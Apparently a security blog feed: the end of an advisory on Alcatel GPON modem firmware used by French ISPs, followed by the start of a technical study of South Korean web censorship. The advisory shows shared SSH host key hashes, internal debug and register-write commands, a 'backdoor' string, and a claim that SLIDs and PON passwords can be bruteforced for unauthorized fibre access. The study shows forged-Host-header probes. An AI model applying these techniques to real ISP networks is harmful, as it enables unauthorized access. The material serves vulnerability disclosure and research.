1f2dc282fff78f4682fafb166bfe7512  alcatel.orange.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512  alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key.pub
1f2dc282fff78f4682fafb166bfe7512  alcatel.orange.v2/etc/ssh/ssh_host_rsa_key.pub

4386f5d936f01219075999d98e5758f9  alcatel.orange.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9  alcatel.sfr.v1/etc/ssh/ssh_host_rsa_key
4386f5d936f01219075999d98e5758f9  alcatel.orange.v2/etc/ssh/ssh_host_rsa_key

5c3e0520cd2c0b385016bf0909280e3d  alcatel.orange.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d  alcatel.sfr.v1/etc/ssh/ssh_host_key.pub
5c3e0520cd2c0b385016bf0909280e3d  alcatel.orange.v2/etc/ssh/ssh_host_key.pub

6d8f94cd4c1e57cc6a7e6d48d421f1e9  alcatel.orange.v1/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9  alcatel.sfrv1.sfr/etc/ssh/ssh_host_dsa_key.pub
6d8f94cd4c1e57cc6a7e6d48d421f1e9  alcatel.orange.v2/etc/ssh/ssh_host_dsa_key.pub

da1e8ba42dfb2e1dfd105f8cc7a61cbb  alcatel.orange.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb  alcatel.sfr.v1/etc/ssh/ssh_host_key
da1e8ba42dfb2e1dfd105f8cc7a61cbb  alcatel.orange.v2/etc/ssh/ssh_host_key
</code></pre>
<p><a id="re-alcatel"></a></p>
<h3>7.7. Reverse-engineering - introducing Alcatel binaries</h3>
<p>The Alcatel binaries are useful to control the FTTH connection :)</p>
<p><code>/usr/alcatel/help/*</code> contains all the help files:</p>
<pre><code>help
help/CommEqptMgmt
help/CommEqptMgmt/eqpt-dbg.help
help/bkgnd
help/bkgnd/bkgnd-dbg.help
help/parser
help/parser/pars-dbg.help
help/gponMac
help/gponMac/send.help
help/dbg
help/dbg/dbg.help
help/sniffer
help/sniffer/send.help
</code></pre>
<p>IE:</p>
<pre><code>user@kali:~$ cat help/gponMac/send.help

A command string is sent to the gponMac process.  The gponMac process
handles the command string and takes the appropriate action.

USAGE:
In order to send a command to the gponMac process, the following needs
to be done.
1. The gponMac process must be running.
2. The send command must be in the path.
3. The 'send gpon &lt;command string&gt;' command is then executed to send
&lt;command string&gt; to the gponMac process.

Valid commands are:

rw               ww               laser            pm
rs               dump             ri               slid
max1932          alarms           ethhdr(*1)       interrupts
sim              deviceid         ranginginfo      dsphy
dstc             usbwc            usgem            ustc
usphy            fpga(*2)         video(*3)        help

*1 - Only available on Currituck based boards.
*2 - Only available on FPGA based boards.
*3 - Only available on boards with video.

Examples:
To get more detailed information on a specific command, use:
'send gpon help &lt;command&gt;'

To get more detailed help information on all commands, use:
'send gpon help all'

To retrieve the current ranging state, the rs command, use:
'send gpon rs'
</code></pre>
<p>It appears the <code>gponMac</code> program is a big mess without security by design.</p>
<p>Having fun with Alcatel daemons:</p>
<pre><code>$ send help
send sniffer &lt;cmd str&gt;              - send &lt;cmd str&gt; to the sniffer process
send gpon &lt;cmd str&gt;                 - send &lt;cmd str&gt; to the gponMac process
send test &lt;test cmd&gt;                - perform the specified test cmd
    setpowerdown &lt;enable&gt;           - send powerdown message to gponMac process
  GPON MAC API test cmds:
    getconfinfo
    confgemport &lt;portId&gt; &lt;dir&gt;
    delgemport &lt;portId&gt; &lt;dir&gt;
    getgemportconf &lt;portId&gt;
    confgemportweight &lt;portId&gt; &lt;pbits&gt; &lt;weight&gt;
    confallocgemassoc &lt;allocId&gt; &lt;portId&gt; &lt;enable&gt;
    getallocidconf &lt;allocId&gt;
    addmcastentry &lt;mac&gt; &lt;wait&gt; |&lt;destPort&gt;|
    delmcastentry &lt;mac&gt; &lt;wait&gt;
    confmcastfilter &lt;portId&gt; &lt;enable&gt; &lt;wait&gt;
    getmcastfilterconf
    wipemcastconf
    confslid &lt;persistent&gt; &lt;hexMode&gt;          (test slid only)
    getslidconf
    wipeallconf
    setlasermode &lt;enable&gt;
    setvideomode &lt;enable&gt;
    setopticalattr &lt;agcmode&gt; &lt;agcsetting&gt; &lt;vidlosthr&gt; &lt;vidlowthr&gt; &lt;vidhighthr&gt; &lt;ponlowthr&gt; &lt;ponhighthr&gt; |&lt;lasereolhighthr&gt;|
    getopticalattr
    lockgmacpm
    unlockgmacpm
    printpm
    resetgmacpm
  Parameters:
      allocId                              - 0-4095
      portId                               - 0-4095
      enable                               - 0(disable) 1(enable)
      dir                                  - 0(upstream) 1(downstream) 2(bi-dir)
      pbits                                - 0-7
      weight                               - 0-255
      vid                                  - VLAN ID
      omci, 0vlan, keeptag, cpvid, wait    - 0(no) 1(yes)
      dest    - 0(GMII0) 1(GMII1) 2(loopback) 3(drop to processor)
      mac                                  - 0xXXXXXX
</code></pre>
<p>If you want to debug GPON, use these commands:</p>
<pre><code>empty -s -o /tmp/fifo.in "show gpon type\nshow gpon slid\nshow gpon sn\nshow firmware version\nshow gpon RSSI\n"
empty -s -o /tmp/fifo.in "show led\nshow uptime\nshow download status\nshow gpon ranging state\nshow gpon status\n"
nvram get ont_slid
</code></pre>
<p>Possible arguments for send:</p>
<pre><code>show gpon type
show gpon slid
show gpon sn
show firmware version
show gpon RSSI
show led
show uptime
show download status
show gpon ranging state
show gpon status
gpon dump
gpon rw 0
gpon rw 4
gpon rw 100
gpon rw 104
gpon ww 100 ff
gpon rw 3000
gpon rw 3004
gpon ww 3000 ff
gpon rw 3010
gpon rw 3014
gpon ww 3010 ff
gpon rw 0x4024
gpon rw 0x4030
gpon rw 0x4034
gpon rw 0x4038
gpon rw 0x403c
gpon rw 0x4040
gpon rw 0x4044
gpon rw 100   # ALARMS
gpon rw 110   # BIP errors
gpon rw 114   # ERRORED Frames
gpon rw 11c   # OOF counters
gpon rw 118   # PSYNC error counters
gpon rw 120   # Kill traffic registers 
gpon rw 124   # last bit traffic enable
[...]
</code></pre>
<p>You can have fun reversing Alcatel binaries :)</p>
<p>Having fun reversing the binaries is left as an exercise for the reader :D</p>
<p><a id="re-backdoor"></a></p>
<h3>7.8. Reverse-engineering - Strange binary</h3>
<pre><code>user@kali:~$ grep -ai backdoor usr/freescale/bin/hld_test

This command is a backdoor to reading ONU MAC registers including bad addresses
</code></pre>
<p><code>NO COMMENT</code></p>
<p><a id="bruteforce"></a></p>
<h2>8. Bruteforce</h2>
<p>When <code>SLIDs</code> are <code>PERMANENT</code>, it seems to be trivial to bruteforce <code>SLIDs</code> and <code>PON</code> passwords (<code>/usr/alcatel/dbg_bin/spiusrtest -f ponpassword</code>). You can then authenticate yourself with PPP or, if it works, just by getting a connection with DHCP.</p>
<p>When <code>SLIDs</code> are <code>VOLATILE</code>, just connecting to a FTTH located in a basement will provide, in theory, the attacker with an anonymous gigabit FTTH connection.</p>
<p><a id="conclusion"></a></p>
<h2>9. Conclusion</h2>
<p>As we have seen earlier, in certain cases, the security provided by GPON FTTH networks can be very bad.</p>
<p>I plan to publish a next article about FTTH and explain how a FTTH connection works inside the <code>ONT/ONU</code> and how an attacker can bruteforce <code>SLIDs</code> and <code>PON</code> passwords.</p>
<p>The possibilities of exploiting GPON FTTH networks are endless - that is, having fast Internet connections at home and learning interesting stuff ;)</p>
<p><a id="report-timeline"></a></p>
<h2>10. Report Timeline</h2>
<ul>
<li>2013: 0day vulnerabilities found in ONTs by Pierre Kim, reverse-engineering of ONTs and security analysis of GPON FTTH</li>
<li>Feb, 2014: First draft written by Pierre Kim</li>
<li>May 11, 2016: Pierre Kim sends a pre-advisory to Orange, the biggest French ISP</li>
<li>May 11, 2016: Orange confirms the reception of the documentation</li>
<li>Jun 16, 2016: Pierre Kim asks Orange for update</li>
<li>Jun 20, 2016: Orange confirms its work is in progress</li>
<li>Jul 29, 2016: Pierre Kim asks Orange for update</li>
<li>Sep 22, 2016: Pierre Kim asks Orange for update</li>
<li>Sep 22, 2016: Orange says the work is still in progress to evaluate the vulnerabilities</li>
<li>Sep 29, 2016: Orange asks to have a conference call</li>
<li>Sep 30, 2016: Pierre Kim asks Orange for update</li>
<li>Oct 10, 2016: Orange says the work is still in progress</li>
<li>Oct 22, 2016: Pierre Kim asks Orange for update and for a written answer</li>
<li>Oct 24, 2016: Pierre says he will disclose the information soon because of lack of answers from Orange</li>
<li>Oct 24, 2016: Orange asks for a new conference call</li>
<li>Oct 26, 2016: Orange confirms the vulnerabilities</li>
<li>Oct 26, 2016: Following the conference call with Orange, Pierre Kim informs Orange he will release the research and asks Orange for an official answer</li>
<li>Nov 01, 2016: Public disclosure</li>
</ul>
<p><a id="credits"></a></p>
<h2>11. Credits and Greetings</h2>
<p>This research was done by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<p>I would like to thank my wife who endures my time-consuming passions (maybe craziness is the correct term).</p>
<p>I would like to thank A, J and T (you know who you are :)</p>
<p>I would like to thank the <a href="https://lse.epita.fr/">LSE EPITA</a> for providing me with a lot of CPU power used to crack the hashed backdoor passwords found in the ONT firmware.</p>
<p><a id="license"></a></p>
<h2>12. License</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Studying the Internet Censorship in South Korea</title>
        <link href="2016-10-17-studying-the-internet-censorship-in-south-korea.html"/>
        <content type="html"><p>TL;DR: Please go directly to the <a href="#conclusion">Conclusion</a> to discover how (in)effective
the censorship of Internet in South Korea is. This blogpost can be served for you to remind how HTTP requests work.</p>
<h2>Table of contents</h2>
<p>&nbsp;<a href="#introduction">0. Introduction</a><br>
&nbsp;<a href="#first-contact">1. First contact with the censorship system</a><br>
&nbsp;<a href="#locating-the-censorship-system">2. Locating the censorship system in the networks</a><br>
&nbsp;<a href="#inner-work-of-the-censorship-system">3. Inner work of the censorship system</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#different-answers-provided-by-censorship-systems">3.1. Different answers provided by censorship systems</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#direct-html-as-an-answer">3.1.1. Direct HTML as an answer</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#direct-html-as-an-answer-system-a">3.1.2. Direct HTML as an answer (censorship system A)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#direct-html-as-an-answer-system-b">3.1.3. 302 Temporary redirect (censorship system B)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#brief-analysis">3.2. Brief analysis</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#from-http-0.9-to-http-1.1">3.3. Let's debug the censorship system - From HTTP/0.9 to HTTP/1.1</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http-0.9">3.3.1. HTTP/0.9</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http-1.0">3.3.2. HTTP/1.0</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http-1.1">3.3.3. HTTP/1.1</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#analysis">3.4. Analysis</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#more-tricky-requests-with-http">3.5 More tricky requests with HTTP</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#custom-vhosts">3.5.1. Custom Vhosts</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http-requests-methods">3.5.2. HTTP requests methods</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#having-fun-with-http-1.1-persistent-connection">3.5.3. Having fun with HTTP/1.1 persistent connection</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http-vs-https">3.5.4. HTTP vs. HTTPS</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#random-behaviors-provided-by-the-censorship-system">3.5.5. Random behaviors provided by the censorship system</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#cdn-for-content">3.5.6. CDN for content (VOD/images)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http2-for-http-uris">3.5.7. HTTP2 for http URIs</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#websockets">3.5.8. WebSockets</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#http2-for-https-uris">3.5.9. HTTP2 for https URIs</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#readline-vs-buffered-http-requests">3.5.10. Readline vs. buffered HTTP requests</a><br>
&nbsp;<a href="#http-proxies">4. Using HTTP proxies</a><br>
&nbsp;<a href="#ipv6">5. IPv6</a><br>
&nbsp;<a href="#bypassing-the-filter">6. Bypassing the filter</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-a-different-vhost">6.1. By using a different vhost (easy-PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-http-persistent-connection-head-then-get">6.2. By using HTTP persistent connection: HEAD then GET (PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-http-persistent-connection-get-then-get">6.3. By using HTTP persistent connection: GET then GET (PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-lf-instead-of-crlf">6.4. By using \n instead of \r\n in the HTTP requests (unreliable method, PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-http-invalid-methods">6.5. By using HTTP invalid methods (PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-sending-http-requests-line-by-line">6.6. By sending HTTP requests line by line (PoC)</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-method-only-if-there-is-a-censorship">6.7. By using a method ONLY if there is a censorship</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-a-vpn">6.8. By using a VPN</a><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#bypassing-by-using-https-websites-proxies">6.9. By using HTTPS websites/proxies</a><br>
&nbsp;<a href="#conclusion">7. Conclusion</a><br>
&nbsp;<a href="#credits-and-greeting">8. Credits and Greetings</a><br>
&nbsp;<a href="#personal-note-to-www.warning.or.kr-administrator">9. Personal note to http://www.warning.or.kr/ administrator</a><br>
&nbsp;<a href="#license">10. License</a><br></p>
<p><a id="introduction"></a></p>
<h2>0. Introduction</h2>
<p>As staying in South Korea, I was curious and wanted to know more about the censorship as stated in Wikipedia.</p>
<p><a href="https://en.wikipedia.org/wiki/Internet_censorship_in_South_Korea">Wikipedia: Censorship in South Korea</a>:</p>
<blockquote>
<p>KCSC (Korea Communications Standards Commission) is responsible for online control and requires Korean citizens to enter government issued ID numbers in order to post political comments online. The KCSC has the right to suspend or delete any web posting or articles for 30 days as soon as a complaint is filed (to combat cyberbullying in South Korea). Every week, portions of the Korean web are taken down by the KCSC. In 2013, around 23,000 Korean webpages were deleted and another 63,000 blocked by the KCSC.</p>
<p>Korean officials' rhetoric about censored material, including that it is "subversive", "illegal", "harmful" or related to "pornography and nudity", has been noted as similar to that of their Chinese counterparts. Critics also say that the government takes prohibitions on profanity as "a convenient excuse to silence critics" and chill speech.</p>
<p>This designation persisted in 2012, where the report suggests South Korea's censorship is similar to those of Russia and Egypt.</p>
</blockquote>
<p>You may have seen the infamous message "This webpage is illegal" when you try to get into some websites. By the way, if you don't speak Korean, I wish you a good luck trying to copy/paste texts from an image and understand what is going on:</p>
<p><img alt="" src="images/2016-censorship-www.warning.or.kr-logo.png" /></p>
<p>Wikipedia lists a short list of websites forbidden to visit in South Korea, but I used
<a href="https://github.com/aredo/porn-site-list/blob/master/sites.json">https://github.com/aredo/porn-site-list/blob/master/sites.json</a> to get a list of potentially banned websites (a lot of them are actually blocked) in South Korea.</p>
<p>As you see, quite a large number of websites are currently blocked. They include the websites that are considered containing "socially harmful" or subversive contents such as adult or gambling websites as well as political matters notably related to North Korea. Social medias are very much censored too (online comments are massively removed).</p>
<p>This research excludes any politically sensitive items as this analysis is intended to be limited to a technical side and I am not making any political judgment. I am trying, from an external point of view, to evaluate the technical level of the current censorship system. Social medias are out of scope of this analysis. </p>
<p>This study was done in September 2016 using 3 major ISPs: KT, SK Telecom (SKT) and LG U+.</p>
<p><a id="first-contact"></a></p>
<h2>1. First contact with the censorship system</h2>
<p>We will use <code>telnet</code> to understand how the censorship system works.</p>
<p>If you go on a censored website, you will see this webpage:
<img alt="" src="images/2016-censorship-www.warning.or.kr.png" /></p>
<p>Let's dig:</p>
<p>A standard (and very basic) HTTP request is:</p>
<pre><code>GET / HTTP/1.1
Host: www.remote-server.com\r\n\r\n
</code></pre>
<p>Trying this on a censored website:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: xhamster.com

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
user@kali:~$
</code></pre>
<p>By changing the <code>Host</code> value to a banned website, it seems we can trigger the censorship system:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.1
Host: wutwut

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: http://xhamster.com/
user@kali:~$
</code></pre>
<p>This request seems to work and the Nginx server from <code>xhamster.com</code> will reply to us. So, at least, the censorship system is analyzing the <code>Host</code> header in the HTTP request.</p>
<p><a id="locating-the-censorship-system"></a></p>
<h2>2. Locating the censorship system in the networks</h2>
<p>We will use <code>wget</code> to customize the request in order to understand where is the filtering process.</p>
<p>We ask the Google.ru webpage (note: I made a configuration to ensure www.google.ru resolves to a Google server not located in South Korea. <code>216.58.214.131</code> is located in Europe).</p>
<p>I, then, will use Google servers located in South Korea to see if the censorship is really analyzing every Host header on every HTTP connection or only targeting a few IPs.</p>
<p>We will eventually determine where this censorship system is located.</p>
<p>We are doing a name resolution to get a Google server outside South Korea:</p>
<pre><code>user@kali:~$ host google.ru 8.8.8.8
Using domain server:
Name: 8.8.8.8
Address: 8.8.8.8#53
Aliases:

google.ru has address 216.58.197.227
google.ru has IPv6 address 2404:6800:4005:802::2003
google.ru mail is handled by 50 alt4.aspmx.l.google.com.
google.ru mail is handled by 30 alt2.aspmx.l.google.com.
google.ru mail is handled by 20 alt1.aspmx.l.google.com.
google.ru mail is handled by 10 aspmx.l.google.com.
google.ru mail is handled by 40 alt3.aspmx.l.google.com.
user@kali:~$
user@kali:~$  traceroute -n 216.58.197.227
traceroute to 216.58.197.227 (216.58.197.227), 30 hops max, 60 byte packets
1  100.114.55.252  3.915 ms  4.052 ms  4.495 ms
2  100.114.27.169  4.503 ms  4.498 ms  4.495 ms
3  1.255.24.48  4.806 ms  5.027 ms  5.026 ms
4  61.98.54.109  5.380 ms  5.376 ms  5.372 ms
5  58.229.4.16  7.384 ms 58.229.4.12  13.247 ms 58.229.4.8  10.801 ms
6  118.221.7.46  9.586 ms  5.669 ms  5.596 ms
7  39.115.132.69  5.062 ms 58.229.15.213  5.038 ms 39.115.132.69  5.030 ms
8  72.14.216.77  41.280 ms 72.14.215.199  38.651 ms  38.296 ms
9  216.239.54.1  39.183 ms  39.033 ms 209.85.142.95  38.461 ms
10  209.85.142.185  43.401 ms 216.239.40.11  43.397 ms 209.85.142.185  40.657 ms
11  72.14.238.35  64.533 ms 216.58.197.227  36.478 ms  37.243 ms
user@kali:~$
</code></pre>
<p>Google.ru resolves to a foreign IP which is far away.</p>
<p>Ok let's debug:</p>
<pre><code>user@kali:~$ wget -O- http://www.google.ru/ | grep -ai google|head -n 1
--2016-10-01 XX:XX:XX--  http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

&lt;!doctype html&gt;&lt;html itemscope="" itemtype="http://schema.org/WebPage" lang="ru"&gt;&lt;head&gt;&lt;meta content="Google." name="description"&gt;&lt;meta content="noodp" name="robots"&gt;&lt;meta content="text/html; charset=UTF-8" http-equiv="Content-Type"&gt;&lt;meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"&gt;&lt;title&gt;Google&lt;/title&gt;&lt;script&gt;(function(){window.google={kEI:'9kbBV4mEM8nt0gSfvbGQCg',kEXPI:'3700062,3700283,3700389,4029815,4031109,4032678,4036509,4036527,4038012,4039268,4043492,4045841,4048347,4052304,4058543,4061154,4062702,4063879,4065786,4065793,4066654,4066708,4067175,4067860,4068550,4068816,4069839,4069841,4069905,4070127,4070220,4070598,4071231,4071575,4071603,4071842,4072000,4072289,4072364,4072653,4072682,4072773,4073231,4073405,4073419,4073958,4073980,4074426,4074801,4075122,4075451,4075464,4075781,4075788,4075860,4075966,4075976,4076018,4076096,4076115,4076117,4076797,4076931,4077219,4077221,4077384,4077391,8300096,8300273,8502184,8503585,8504846,8505150,8505152,8505585,8505677,8505816,8506585,10200083',authuser:0,kscs:'c9c918f0_24'};google.kHL='ru';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&amp;&amp;(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&amp;&amp;(!a.getAttribute||!(b=a.getAttribute("leid")));)a=a.parentNode;return b};google.https=function(){return"https:"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,e,g){a=google.logUrl(a,b,c,e,g);if(""!=a){b=new Image;var d=google.lc,f=google.li;d[f]=b;b.onerror=b.onload=b.onabort=function(){delete d[f]};window.google&amp;&amp;window.google.vel&amp;&amp;window.google.vel.lu&amp;&amp;window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,e,g){var d="",f=google.ls||"";if(!c&amp;&amp;-1==b.search("&amp;ei=")){var h=google.getEI(e)

user@kali:~$
</code></pre>
<p>Yeah! We can access to Google.</p>
<p>Now, question: Does it work when we try to contact Google server in South Korea? (<code>1.255.22.242</code> is an IP for www.google.co.kr, located in South Korea, as shown below):</p>
<p>Google inside Korean IP space:</p>
<pre><code>user@kali:~$ host google.co.kr
google.co.kr has address 1.255.22.241
google.co.kr has address 1.255.22.237
google.co.kr has address 1.255.22.217
google.co.kr has address 1.255.22.216
google.co.kr has address 1.255.22.227
google.co.kr has address 1.255.22.251
google.co.kr has address 1.255.22.242
google.co.kr has address 1.255.22.232
google.co.kr has address 1.255.22.226
google.co.kr has address 1.255.22.247
google.co.kr has address 1.255.22.236
google.co.kr has address 1.255.22.222
google.co.kr has address 1.255.22.221
google.co.kr has address 1.255.22.212
google.co.kr has address 1.255.22.231
google.co.kr has address 1.255.22.246
google.co.kr has IPv6 address 2404:6800:400a:806::2003
google.co.kr mail is handled by 10 aspmx.l.google.com.
google.co.kr mail is handled by 40 alt3.aspmx.l.google.com.
google.co.kr mail is handled by 20 alt1.aspmx.l.google.com.
google.co.kr mail is handled by 50 alt4.aspmx.l.google.com.
google.co.kr mail is handled by 30 alt2.aspmx.l.google.com.

user@kali:~$ tcptraceroute -n 1.255.22.242 80
Running:
    traceroute -T -O info -n -p 80 1.255.22.242 
traceroute to 1.255.22.242 (1.255.22.242), 30 hops max, 60 byte packets
1  100.114.55.252  3.759 ms  4.431 ms  4.556 ms
2  100.114.27.169  4.553 ms  4.551 ms  4.547 ms
3  1.255.24.48  5.182 ms  5.668 ms  5.900 ms
4  61.98.54.109  5.900 ms  6.452 ms  6.992 ms
5  58.229.4.28  10.786 ms 58.229.4.20  12.408 ms 58.229.4.36  10.783 ms
6  58.229.4.163  10.713 ms  7.037 ms  7.370 ms
7  1.255.22.242&lt;syn,ack&gt;  6.621 ms  7.737 ms  7.798 ms
user@kali:~$ ping 1.255.22.242
PING 1.255.22.242 (1.255.22.242) 56(84) bytes of data.
64 bytes from 1.255.22.242: icmp_seq=1 ttl=58 time=4.32 ms
^C
--- 1.255.22.242 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.328/4.328/4.328/0.000 ms
user@kali:~$
</code></pre>
<p>4.32ms to contact <code>1.255.22.242</code>! - this IP is located in South Korea (and <code>whois 1.255.22.242</code> will confirm it - <em>SK Broadband Co Ltd</em>).</p>
<p>Fetching a webpage located at <code>1.255.22.242</code>:</p>
<pre><code>user@kali:~$ wget -O- http://1.255.22.242/ &gt;/dev/null
--2016-10-01XX:XX:XX--  http://1.255.22.242/
Connecting to 1.255.22.242:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.google.com/ [following]
--2016-10-01 XX:XX:XX--  http://www.google.com/
Resolving www.google.com (www.google.com)... 74.125.203.103, 74.125.203.105, 74.125.203.106, ...
Connecting to www.google.com (www.google.com)|74.125.203.103|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.google.co.kr/?gfe_rd=cr&amp;ei=n3nCV9PEPM-T9QWY36ywCg [following]
--2016-10-01 XX:XX:XX--  http://www.google.co.kr/?gfe_rd=cr&amp;ei=n3nCV9PEPM-T9QWY36ywCg
Resolving www.google.co.kr (www.google.co.kr)... 74.125.23.94, 2404:6800:4008:c01::5e
Connecting to www.google.co.kr (www.google.co.kr)|74.125.23.94|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

-                                                        [ &lt;=&gt;]  10.78K  --.-KB/s    in 0.001s

2016-10-01 XX:XX:XX (7.03 MB/s) - written to stdout [11040]
</code></pre>
<p>The default webpage will give us a 302 Redirect to <code>http://www.google.co.kr/</code>.</p>
<p>We can access to Google servers located in South Korea too!</p>
<p>Now, we know that browsing the <code>www.xhamster.com</code> webpage will show the <code>warning.or.kr</code> webpage from the first part.</p>
<p>We can forge the Host header in the HTTP request to understand where the censorship system is located.</p>
<p>Asking a Google webpage on a Google server located outside South Korea with a custom header with a banned Host (<code>Host: www.xhamster.com</code>):</p>
<pre><code>user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://www.google.ru/
--2016-10-01XX:XX:XX--  http://www.google.ru/
Resolving www.google.ru (www.google.ru)... 216.58.214.131, 2a00:1450:4001:813::2003
Connecting to www.google.ru (www.google.ru)|216.58.214.131|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX--  http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'STDOUT'

-                             0%[                                            ]       0  --.-KB/s               &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
&lt;meta name="kcsc" content="blocking" /&gt;
&lt;title&gt;www.warning.or.kr&lt;/title&gt;
&lt;style type="text/css"&gt;
[...]

user@kali:~$
</code></pre>
<p>This request is blocked (see the 302 direction to <code>http://www.warning.or.kr/</code>).</p>
<p>As seen before, we have access to Google servers located inside and outside South Korea.</p>
<p>If I try to contact a Google server located outside South Korea and ask for a custom censored host, then the request seems to be censored.</p>
<p>However, if I ask a Google server located in South Korea to provide me with a banned website, this request will work and Google will provide a reply, as shown below.</p>
<p>Asking <code>www.xhamster.com</code> on a Google Korean Server will result a 404 page from Google (that is, <strong>this request is NOT blocked by the censorship system</strong>):</p>
<pre><code>user@kali:~$ wget -O- --header="Host: www.xhamster.com" http://1.255.22.242/
--2016-10-01XX:XX:XX--  http://1.255.22.242/
Connecting to 1.255.22.242:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2016-10-01   XX:XX:XX ERROR 404: Not Found.
user@kali:~$
</code></pre>
<p>Using telnet for the same request (in HTTP/1.0):</p>
<pre><code>user@kali:~$ telnet 1.255.22.242 80
Trying 1.255.22.242...
Connected to 1.255.22.242.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com

HTTP/1.0 404 Not Found
